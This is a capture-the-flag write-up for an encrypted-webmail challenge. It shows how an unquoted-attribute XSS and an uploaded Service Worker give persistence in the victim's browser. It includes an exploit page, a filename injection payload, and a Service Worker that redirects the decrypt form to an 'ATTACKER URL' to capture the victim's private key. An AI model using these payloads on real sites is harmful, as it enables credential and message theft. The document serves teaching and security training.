Introducing InsoMail 🔐, the most secure encrypted email service on the internet. It uses the latest technologies to ensure that your emails are safe from hackers.
To guarantee your privacy, no cookies are used, and the server doesn't store your private key [1].
Secure email: https://secure.email.insomnihack.ch Webmail: https://web.email.insomnihack.ch Source: insomail.zip
[1] Actually, it stores it temporarily in memory but it's fine, right?
You found a XSS vulnerability on a website but nothing can be extracted because the website doesn't store any sensitive data in the browser. How can you achieve persistence and steal the flag?
There is an admin bot that visits any URL provided by the players, the closes its browser and decrypts the flag in a new instance. That should hint that the player needs to find a way to achieve persistence.
All the source code is provided to the players so they can look for vulnerabilities without having to guess or try every endpoints.
This challenge has 2 main vulnerabilities.
The first one is an XSS vulnerability that allows the player to execute arbitrary JavaScript in the context of https://secure.email.insomnihack.ch. But nothing can be done because no session token or sensitive data is stored in the browser. So the player needs to find a way to achieve persistence.
The second vulnerability allows the player to upload a Service Worker (JavaScript file) as an attachment and it gets served by an endpoint at the root of the server (/attachment
). The Service Worker can be installed using the XSS vulnerability and will intercept the decryption of the flag later.
In the Jinja2 template decrypted.html
, there is an XSS vulnerability because the filename if the attachment is inserted in the action attribute without quotes around it. This allows to inject new attributes in the form tag.
<form action=/attachment/{{attachment['filename']}} method="post" target="_blank">
<input type="hidden" name="session" value="{{attachment['session']}}">
<input value="{{attachment['filename']}}" type="submit">
</form>
The XSS Cheat Sheet from PortSwigger has a payload that doesn't contain any quotes or brackets:
<form id=x tabindex=1 onfocus=alert(1)></form>
The filename is limited to 60 characters, so we can place the full payload in the window.name of the exploit page, retrieve it and evaluate it with the injected code.
So the filename can be set to: [space] id=x tabindex=1 onfocus=eval(parent.name).js
So now the attacker can send an email to itself with an attachment with such filename, then extract the encrypted
field and create an exploit page that will trigger the XSS using a form POST.
Exploit page:
<!DOCTYPE html>
<html>
<body>
<!-- The #x at the end of the URL is required to trigger the XSS in the onfocus attribute. -->
<form action="{INSOMAIL_URL}/decrypt#x" method="post">
<input type="hidden" name="encrypted" value="{encrypted data extracted from the email with attachment}" />
<input type="hidden" name="email" value="{attacker email}" />
<input type="hidden" name="private_key" value="{attacker private key}" />
</form>
<script>
window.name = `alert("XSS")`;
document.forms[0].submit();
</script>
</body>
</html>
The only restriction on the content type of the attachment is that it cannot be HTML or XML to prevent XSS (Actually, some players used xsl files to bypass the Content-Type
filter of the file upload to directly get XSS.). But the content type application/javascript
is allowed.
content_type = decoded["attachment"]["content_type"].lower()
if "ml" in content_type: # No HTML, XML, etc.
content_type = "application/octet-stream"
session = uuid4()
data = SessionData(
email=email,
private_key=private_key,
attachment=content,
attachment_type=content_type,
)
await backend.create(session, data)
There is also a GET
route to serve the attachment so it can be used to serve the Service Worker:
@app.get("/attachment", dependencies=[Depends(cookieless_session)])
@app.post("/attachment", dependencies=[Depends(cookieless_session)])
@app.get("/attachment/{filename}", dependencies=[Depends(cookieless_session)])
@app.post("/attachment/{filename}", dependencies=[Depends(cookieless_session)])
async def attachment(session_data: SessionData = Depends(verifier)):
return Response(
content=session_data.attachment, media_type=session_data.attachment_type
)
So the Service worker can be installed using the following code:
navigator.serviceWorker.register("/attachment?service=SESSION_TOKEN", {{scope: "/"}});
The following Service Worker code can be uploaded as an attachment, it will replace the action attribute of the form used to decrypt emails with the attacker's URL.
self.addEventListener('fetch', function(event) {{
if (event.request.url.includes('/decrypt')) {{
event.respondWith(fetch(event.request).then(function(response) {{
return response.text().then(function(text) {{
// replace the action of the <form> element
return new Response(text.replace(/action=".*\\/decrypt"/, 'action="ATTACKER URL"'), {{
status: response.status,
statusText: response.statusText,
headers: response.headers
}});
}});
}}));
}}
}});
The attacker will receive a POST request containing the encrypted data as well as the email and private key of the victim. The attacker can then decrypt the data and retrieve the flag.
Can you clarify about the form onfocus XSS vector? Doesn't work for me neither in chrome nor in headlesschrome as used by playwright in bot.py. Am I missing something?